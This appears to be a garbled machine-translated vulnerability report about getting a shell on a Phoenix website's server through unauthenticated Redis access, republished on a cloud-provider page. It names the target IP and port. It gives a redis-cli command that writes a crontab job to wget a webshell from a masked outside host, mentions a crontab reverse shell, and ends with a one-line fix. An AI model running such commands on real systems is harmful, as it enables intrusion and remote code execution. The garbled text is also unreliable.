Getshell caused by unauthorized access to redis on a website of Phoenix

Source: Internet
Author: User

Getshell caused by unauthorized access to redis on a website of Phoenix

Learn from Pig

Http: // 61.155.16 7.220: 843/
 





61.155.167.220 although redis port 221 is changed, it is still not authorized to access
 


Http: // 61.155.167.220/test. php exposes the path
 



I tried the General getshell method. The redis cache issue cannot be executed by shell.

I don't want flushall to destroy data.

I learned how to develop a pig hero: http://zone.wooyun.org/content/2?write crontab

Echo-e "\ n ***** wget http ://***. ***. ***. * **/shell.txt-O/data/media/xiao. php \ n "| redis-cli-h 61.155.167.220-p 221-x set %
 

 



Http: // 61.155.167.220/xiao. php
 


 


Tried crontab bounce shell. The write is successful. Please delete it.
 


Some people say that redis can be remotely loaded by Garbled text writing.

Solution:

Set ip address access restrictions.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.